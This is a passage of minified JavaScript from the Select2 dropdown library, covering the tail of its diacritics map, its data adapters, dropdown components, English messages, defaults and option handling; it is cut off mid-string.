,"é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","ｆ":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","ｇ":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","ｈ":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","ｉ":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","ｊ":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","ｋ":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","ｌ":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","ǉ":"lj","ⓜ":"m","ｍ":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","ｎ":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ŉ":"n","ꞑ":"n","ꞥ":"n","ǌ":"nj","ⓞ":"o","ｏ":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","ｐ":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","ｑ":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","ｒ":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","ｓ":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","ｔ":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","ｕ":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","ｖ":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","ｗ":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","ｘ":"x","ẋ":"x","ẍ":"x","ⓨ":"y","ｙ":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","ｚ":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}})),t.define("select2/data/base",["../utils"],(function(e){function t(e,n){t.__super__.constructor.call(this)}return e.Extend(t,e.Observable),t.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},t.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},t.prototype.bind=function(e,t){},t.prototype.destroy=function(){},t.prototype.generateResultId=function(t,n){var r=t.id+"-result-";return r+=e.generateChars(4),null!=n.id?r+="-"+n.id.toString():r+="-"+e.generateChars(4),r},t})),t.define("select2/data/select",["./base","../utils","jquery"],(function(e,t,n){function r(e,t){this.$element=e,this.options=t,r.__super__.constructor.call(this)}return t.Extend(r,e),r.prototype.current=function(e){var t=[],r=this;this.$element.find(":selected").each((function(){var e=n(this),i=r.item(e);t.push(i)})),e(t)},r.prototype.select=function(e){var t=this;if(e.selected=!0,n(e.element).is("option"))return e.element.selected=!0,void this.$element.trigger("input").trigger("change");if(this.$element.prop("multiple"))this.current((function(r){var i=[];(e=[e]).push.apply(e,r);for(var a=0;a<e.length;a++){var o=e[a].id;-1===n.inArray(o,i)&&i.push(o)}t.$element.val(i),t.$element.trigger("input").trigger("change")}));else{var r=e.id;this.$element.val(r),this.$element.trigger("input").trigger("change")}},r.prototype.unselect=function(e){var t=this;if(this.$element.prop("multiple")){if(e.selected=!1,n(e.element).is("option"))return e.element.selected=!1,void this.$element.trigger("input").trigger("change");this.current((function(r){for(var i=[],a=0;a<r.length;a++){var o=r[a].id;o!==e.id&&-1===n.inArray(o,i)&&i.push(o)}t.$element.val(i),t.$element.trigger("input").trigger("change")}))}},r.prototype.bind=function(e,t){var n=this;this.container=e,e.on("select",(function(e){n.select(e.data)})),e.on("unselect",(function(e){n.unselect(e.data)}))},r.prototype.destroy=function(){this.$element.find("*").each((function(){t.RemoveData(this)}))},r.prototype.query=function(e,t){var r=[],i=this;this.$element.children().each((function(){var t=n(this);if(t.is("option")||t.is("optgroup")){var a=i.item(t),o=i.matches(e,a);null!==o&&r.push(o)}})),t({results:r})},r.prototype.addOptions=function(e){t.appendMany(this.$element,e)},r.prototype.option=function(e){var r;e.children?(r=document.createElement("optgroup")).label=e.text:void 0!==(r=document.createElement("option")).textContent?r.textContent=e.text:r.innerText=e.text,void 0!==e.id&&(r.value=e.id),e.disabled&&(r.disabled=!0),e.selected&&(r.selected=!0),e.title&&(r.title=e.title);var i=n(r),a=this._normalizeItem(e);return a.element=r,t.StoreData(r,"data",a),i},r.prototype.item=function(e){var r={};if(null!=(r=t.GetData(e[0],"data")))return r;if(e.is("option"))r={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){r={text:e.prop("label"),children:[],title:e.prop("title")};for(var i=e.children("option"),a=[],o=0;o<i.length;o++){var s=n(i[o]),l=this.item(s);a.push(l)}r.children=a}return(r=this._normalizeItem(r)).element=e[0],t.StoreData(e[0],"data",r),r},r.prototype._normalizeItem=function(e){e!==Object(e)&&(e={id:e,text:e});var t={selected:!1,disabled:!1};return null!=(e=n.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&null!=this.container&&(e._resultId=this.generateResultId(this.container,e)),n.extend({},t,e)},r.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},r})),t.define("select2/data/array",["./select","../utils","jquery"],(function(e,t,n){function r(e,t){this._dataToConvert=t.get("data")||[],r.__super__.constructor.call(this,e,t)}return t.Extend(r,e),r.prototype.bind=function(e,t){r.__super__.bind.call(this,e,t),this.addOptions(this.convertToOptions(this._dataToConvert))},r.prototype.select=function(e){var t=this.$element.find("option").filter((function(t,n){return n.value==e.id.toString()}));0===t.length&&(t=this.option(e),this.addOptions(t)),r.__super__.select.call(this,e)},r.prototype.convertToOptions=function(e){var r=this,i=this.$element.find("option"),a=i.map((function(){return r.item(n(this)).id})).get(),o=[];function s(e){return function(){return n(this).val()==e.id}}for(var l=0;l<e.length;l++){var u=this._normalizeItem(e[l]);if(n.inArray(u.id,a)>=0){var c=i.filter(s(u)),d=this.item(c),f=n.extend(!0,{},u,d),h=this.option(f);c.replaceWith(h)}else{var m=this.option(u);if(u.children){var p=this.convertToOptions(u.children);t.appendMany(m,p)}o.push(m)}}return o},r})),t.define("select2/data/ajax",["./array","../utils","jquery"],(function(e,t,n){function r(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),r.__super__.constructor.call(this,e,t)}return t.Extend(r,e),r.prototype._applyDefaults=function(e){var t={data:function(e){return n.extend({},e,{q:e.term})},transport:function(e,t,r){var i=n.ajax(e);return i.then(t),i.fail(r),i}};return n.extend({},t,e,!0)},r.prototype.processResults=function(e){return e},r.prototype.query=function(e,t){var r=this;null!=this._request&&(n.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var i=n.extend({type:"GET"},this.ajaxOptions);function a(){var a=i.transport(i,(function(i){var a=r.processResults(i,e);r.options.get("debug")&&window.console&&console.error&&(a&&a.results&&n.isArray(a.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),t(a)}),(function(){(!("status"in a)||0!==a.status&&"0"!==a.status)&&r.trigger("results:message",{message:"errorLoading"})}));r._request=a}"function"==typeof i.url&&(i.url=i.url.call(this.$element,e)),"function"==typeof i.data&&(i.data=i.data.call(this.$element,e)),this.ajaxOptions.delay&&null!=e.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(a,this.ajaxOptions.delay)):a()},r})),t.define("select2/data/tags",["jquery"],(function(e){function t(t,n,r){var i=r.get("tags"),a=r.get("createTag");void 0!==a&&(this.createTag=a);var o=r.get("insertTag");if(void 0!==o&&(this.insertTag=o),t.call(this,n,r),e.isArray(i))for(var s=0;s<i.length;s++){var l=i[s],u=this._normalizeItem(l),c=this.option(u);this.$element.append(c)}}return t.prototype.query=function(e,t,n){var r=this;function i(e,a){for(var o=e.results,s=0;s<o.length;s++){var l=o[s],u=null!=l.children&&!i({results:l.children},!0);if((l.text||"").toUpperCase()===(t.term||"").toUpperCase()||u)return!a&&(e.data=o,void n(e))}if(a)return!0;var c=r.createTag(t);if(null!=c){var d=r.option(c);d.attr("data-select2-tag",!0),r.addOptions([d]),r.insertTag(o,c)}e.results=o,n(e)}this._removeOldTags(),null!=t.term&&null==t.page?e.call(this,t,i):e.call(this,t,n)},t.prototype.createTag=function(t,n){var r=e.trim(n.term);return""===r?null:{id:r,text:r}},t.prototype.insertTag=function(e,t,n){t.unshift(n)},t.prototype._removeOldTags=function(t){this.$element.find("option[data-select2-tag]").each((function(){this.selected||e(this).remove()}))},t})),t.define("select2/data/tokenizer",["jquery"],(function(e){function t(e,t,n){var r=n.get("tokenizer");void 0!==r&&(this.tokenizer=r),e.call(this,t,n)}return t.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},t.prototype.query=function(t,n,r){var i=this;function a(t){var n=i._normalizeItem(t);if(!i.$element.find("option").filter((function(){return e(this).val()===n.id})).length){var r=i.option(n);r.attr("data-select2-tag",!0),i._removeOldTags(),i.addOptions([r])}o(n)}function o(e){i.trigger("select",{data:e})}n.term=n.term||"";var s=this.tokenizer(n,this.options,a);s.term!==n.term&&(this.$search.length&&(this.$search.val(s.term),this.$search.trigger("focus")),n.term=s.term),t.call(this,n,r)},t.prototype.tokenizer=function(t,n,r,i){for(var a=r.get("tokenSeparators")||[],o=n.term,s=0,l=this.createTag||function(e){return{id:e.term,text:e.term}};s<o.length;){var u=o[s];if(-1!==e.inArray(u,a)){var c=o.substr(0,s),d=l(e.extend({},n,{term:c}));null!=d?(i(d),o=o.substr(s+1)||"",s=0):s++}else s++}return{term:o}},t})),t.define("select2/data/minimumInputLength",[],(function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e})),t.define("select2/data/maximumInputLength",[],(function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",this.maximumInputLength>0&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e})),t.define("select2/data/maximumSelectionLength",[],(function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",(function(){r._checkIfMaximumSelected()}))},e.prototype.query=function(e,t,n){var r=this;this._checkIfMaximumSelected((function(){e.call(r,t,n)}))},e.prototype._checkIfMaximumSelected=function(e,t){var n=this;this.current((function(e){var r=null!=e?e.length:0;n.maximumSelectionLength>0&&r>=n.maximumSelectionLength?n.trigger("results:message",{message:"maximumSelected",args:{maximum:n.maximumSelectionLength}}):t&&t()}))},e})),t.define("select2/dropdown",["jquery","./utils"],(function(e,t){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return t.Extend(n,t.Observable),n.prototype.render=function(){var t=e('<span class="select2-dropdown"><span class="select2-results"></span></span>');return t.attr("dir",this.options.get("dir")),this.$dropdown=t,t},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n})),t.define("select2/dropdown/search",["jquery","../utils"],(function(e,t){function n(){}return n.prototype.render=function(t){var n=t.call(this),r=e('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=r,this.$search=r.find("input"),n.prepend(r),n},n.prototype.bind=function(t,n,r){var i=this,a=n.id+"-results";t.call(this,n,r),this.$search.on("keydown",(function(e){i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented()})),this.$search.on("input",(function(t){e(this).off("keyup")})),this.$search.on("keyup input",(function(e){i.handleSearch(e)})),n.on("open",(function(){i.$search.attr("tabindex",0),i.$search.attr("aria-controls",a),i.$search.trigger("focus"),window.setTimeout((function(){i.$search.trigger("focus")}),0)})),n.on("close",(function(){i.$search.attr("tabindex",-1),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.val(""),i.$search.trigger("blur")})),n.on("focus",(function(){n.isOpen()||i.$search.trigger("focus")})),n.on("results:all",(function(e){null!=e.query.term&&""!==e.query.term||(i.showSearch(e)?i.$searchContainer.removeClass("select2-search--hide"):i.$searchContainer.addClass("select2-search--hide"))})),n.on("results:focus",(function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")}))},n.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},n.prototype.showSearch=function(e,t){return!0},n})),t.define("select2/dropdown/hidePlaceholder",[],(function(){function e(e,t,n,r){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,r)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),r=t.length-1;r>=0;r--){var i=t[r];this.placeholder.id===i.id&&n.splice(r,1)}return n},e})),t.define("select2/dropdown/infiniteScroll",["jquery"],(function(e){function t(e,t,n,r){this.lastParams={},e.call(this,t,n,r),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return t.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},t.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("query",(function(e){r.lastParams=e,r.loading=!0})),t.on("query:append",(function(e){r.lastParams=e,r.loading=!0})),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},t.prototype.loadMoreIfNeeded=function(){var t=e.contains(document.documentElement,this.$loadingMore[0]);!this.loading&&t&&this.$results.offset().top+this.$results.outerHeight(!1)+50>=this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)&&this.loadMore()},t.prototype.loadMore=function(){this.loading=!0;var t=e.extend({},{page:1},this.lastParams);t.page++,this.trigger("query:append",t)},t.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},t.prototype.createLoadingMore=function(){var t=e('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),n=this.options.get("translations").get("loadingMore");return t.html(n(this.lastParams)),t},t})),t.define("select2/dropdown/attachBody",["jquery","../utils"],(function(e,t){function n(t,n,r){this.$dropdownParent=e(r.get("dropdownParent")||document.body),t.call(this,n,r)}return n.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("open",(function(){r._showDropdown(),r._attachPositioningHandler(t),r._bindContainerResultHandlers(t)})),t.on("close",(function(){r._hideDropdown(),r._detachPositioningHandler(t)})),this.$dropdownContainer.on("mousedown",(function(e){e.stopPropagation()}))},n.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},n.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},n.prototype.render=function(t){var n=e("<span></span>"),r=t.call(this);return n.append(r),this.$dropdownContainer=n,n},n.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},n.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",(function(){n._positionDropdown(),n._resizeDropdown()})),t.on("results:append",(function(){n._positionDropdown(),n._resizeDropdown()})),t.on("results:message",(function(){n._positionDropdown(),n._resizeDropdown()})),t.on("select",(function(){n._positionDropdown(),n._resizeDropdown()})),t.on("unselect",(function(){n._positionDropdown(),n._resizeDropdown()})),this._containerResultsHandlersBound=!0}},n.prototype._attachPositioningHandler=function(n,r){var i=this,a="scroll.select2."+r.id,o="resize.select2."+r.id,s="orientationchange.select2."+r.id,l=this.$container.parents().filter(t.hasScroll);l.each((function(){t.StoreData(this,"select2-scroll-position",{x:e(this).scrollLeft(),y:e(this).scrollTop()})})),l.on(a,(function(n){var r=t.GetData(this,"select2-scroll-position");e(this).scrollTop(r.y)})),e(window).on(a+" "+o+" "+s,(function(e){i._positionDropdown(),i._resizeDropdown()}))},n.prototype._detachPositioningHandler=function(n,r){var i="scroll.select2."+r.id,a="resize.select2."+r.id,o="orientationchange.select2."+r.id;this.$container.parents().filter(t.hasScroll).off(i),e(window).off(i+" "+a+" "+o)},n.prototype._positionDropdown=function(){var t=e(window),n=this.$dropdown.hasClass("select2-dropdown--above"),r=this.$dropdown.hasClass("select2-dropdown--below"),i=null,a=this.$container.offset();a.bottom=a.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=a.top,o.bottom=a.top+o.height;var s={height:this.$dropdown.outerHeight(!1)},l={top:t.scrollTop(),bottom:t.scrollTop()+t.height()},u=l.top<a.top-s.height,c=l.bottom>a.bottom+s.height,d={left:a.left,top:o.bottom},f=this.$dropdownParent;"static"===f.css("position")&&(f=f.offsetParent());var h={top:0,left:0};(e.contains(document.body,f[0])||f[0].isConnected)&&(h=f.offset()),d.top-=h.top,d.left-=h.left,n||r||(i="below"),c||!u||n?!u&&c&&n&&(i="below"):i="above",("above"==i||n&&"below"!==i)&&(d.top=o.top-h.top-s.height),null!=i&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+i),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+i)),this.$dropdownContainer.css(d)},n.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},n.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},n})),t.define("select2/dropdown/minimumResultsForSearch",[],(function(){function e(t){for(var n=0,r=0;r<t.length;r++){var i=t[r];i.children?n+=e(i.children):n++}return n}function t(e,t,n,r){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,r)}return t.prototype.showSearch=function(t,n){return!(e(n.data.results)<this.minimumResultsForSearch)&&t.call(this,n)},t})),t.define("select2/dropdown/selectOnClose",["../utils"],(function(e){function t(){}return t.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("close",(function(e){r._handleSelectOnClose(e)}))},t.prototype._handleSelectOnClose=function(t,n){if(n&&null!=n.originalSelect2Event){var r=n.originalSelect2Event;if("select"===r._type||"unselect"===r._type)return}var i=this.getHighlightedResults();if(!(i.length<1)){var a=e.GetData(i[0],"data");null!=a.element&&a.element.selected||null==a.element&&a.selected||this.trigger("select",{data:a})}},t})),t.define("select2/dropdown/closeOnSelect",[],(function(){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",(function(e){r._selectTriggered(e)})),t.on("unselect",(function(e){r._selectTriggered(e)}))},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&(n.ctrlKey||n.metaKey)||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e})),t.define("select2/i18n/en",[],(function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return 1!=t&&(n+="s"),n},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}})),t.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],(function(e,t,n,r,i,a,o,s,l,u,c,d,f,h,m,p,_,y,g,v,b,w,M,L,k,Y,D,T,x){function S(){this.reset()}return S.prototype.apply=function(c){if(null==(c=e.extend(!0,{},this.defaults,c)).dataAdapter){if(null!=c.ajax?c.dataAdapter=m:null!=c.data?c.dataAdapter=h:c.dataAdapter=f,c.minimumInputLength>0&&(c.dataAdapter=u.Decorate(c.dataAdapter,y)),c.maximumInputLength>0&&(c.dataAdapter=u.Decorate(c.dataAdapter,g)),c.maximumSelectionLength>0&&(c.dataAdapter=u.Decorate(c.dataAdapter,v)),c.tags&&(c.dataAdapter=u.Decorate(c.dataAdapter,p)),null==c.tokenSeparators&&null==c.tokenizer||(c.dataAdapter=u.Decorate(c.dataAdapter,_)),null!=c.query){var d=t(c.amdBase+"compat/query");c.dataAdapter=u.Decorate(c.dataAdapter,d)}if(null!=c.initSelection){var x=t(c.amdBase+"compat/initSelection");c.dataAdapter=u.Decorate(c.dataAdapter,x)}}if(null==c.resultsAdapter&&(c.resultsAdapter=n,null!=c.ajax&&(c.resultsAdapter=u.Decorate(c.resultsAdapter,L)),null!=c.placeholder&&(c.resultsAdapter=u.Decorate(c.resultsAdapter,M)),c.selectOnClose&&(c.resultsAdapter=u.Decorate(c.resultsAdapter,D))),null==c.dropdownAdapter){if(c.multiple)c.dropdownAdapter=b;else{var S=u.Decorate(b,w);c.dropdownAdapter=S}if(0!==c.minimumResultsForSearch&&(c.dropdownAdapter=u.Decorate(c.dropdownAdapter,Y)),c.closeOnSelect&&(c.dropdownAdapter=u.Decorate(c.dropdownAdapter,T)),null!=c.dropdownCssClass||null!=c.dropdownCss||null!=c.adaptDropdownCssClass){var j=t(c.amdBase+"compat/dropdownCss");c.dropdownAdapter=u.Decorate(c.dropdownAdapter,j)}c.dropdownAdapter=u.Decorate(c.dropdownAdapter,k)}if(null==c.selectionAdapter){if(c.multiple?c.selectionAdapter=i:c.selectionAdapter=r,null!=c.placeholder&&(c.selectionAdapter=u.Decorate(c.selectionAdapter,a)),c.allowClear&&(c.selectionAdapter=u.Decorate(c.selectionAdapter,o)),c.multiple&&(c.selectionAdapter=u.Decorate(c.selectionAdapter,s)),null!=c.containerCssClass||null!=c.containerCss||null!=c.adaptContainerCssClass){var O=t(c.amdBase+"compat/containerCss");c.selectionAdapter=u.Decorate(c.selectionAdapter,O)}c.selectionAdapter=u.Decorate(c.selectionAdapter,l)}c.language=this._resolveLanguage(c.language),c.language.push("en");for(var C=[],H=0;H<c.language.length;H++){var E=c.language[H];-1===C.indexOf(E)&&C.push(E)}return c.language=C,c.translations=this._processTranslations(c.language,c.debug),c},S.prototype.reset=function(){function t(e){function t(e){return d[e]||e}return e.replace(/[^\u0000-\u007E]/g,t)}function n(r,i){if(""===e.trim(r.term))return i;if(i.children&&i.children.length>0){for(var a=e.extend(!0,{},i),o=i.children.length-1;o>=0;o--)null==n(r,i.children[o])&&a.children.splice(o,1);return a.children.length>0?a:n(r,a)}var s=t(i.text).toUpperCase(),l=t(r.term).toUpperCase();return s.indexOf(l)>-1?i:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:u.escapeMarkup,language:{},matcher:n,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,scrollAfterSelect:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},S.prototype.applyFromElement=function(e,t){var n=e.language,r=this.defaults.language,i=t.prop("lang"),a=t.closest("[lang]").prop("lang"),o=Array.prototype.concat.call(this._resolveLanguage(i),this._resolveLanguage(n),this._resolveLanguage(r),this._resolveLanguage(a));return e.language=o,e},S.prototype._resolveLanguage=function(t){if(!t)return[];if(e.isEmptyObject(t))return[];if(e.isPlainObject(t))return[t];var n;n=e.isArray(t)?t:[t];for(var r=[],i=0;i<n.length;i++)if(r.push(n[i]),"string"==typeof n[i]&&n[i].indexOf("-")>0){var a=n[i].split("-")[0];r.push(a)}return r},S.prototype._processTranslations=function(t,n){for(var r=new c,i=0;i<t.length;i++){var a=new c,o=t[i];if("string"==typeof o)try{a=c.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o,a=c.loadPath(o)}catch(e){n&&window.console&&console.warn&&console.warn('Select2: The language file for "'+o+'" could not be automatically loaded. A fallback will be used instead.')}}else a=e.isPlainObject(o)?new c(o):o;r.extend(a)}return r},S.prototype.set=function(t,n){var r={};r[e.camelCase(t)]=n;var i=u._convertData(r);e.extend(!0,this.defaults,i)},new S})),t.define("select2/options",["require","jquery","./defaults","./utils"],(function(e,t,n,r){function i(t,i){if(this.options=t,null!=i&&this.fromElement(i),null!=i&&(this.options=n.applyFromElement(this.options,i)),this.options=n.apply(this.options),i&&i.is("input")){var a=e(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=r.Decorate(this.options.dataAdapter,a)}}return i.prototype.fromElement=function(e){var n=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),r.GetData(e[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` 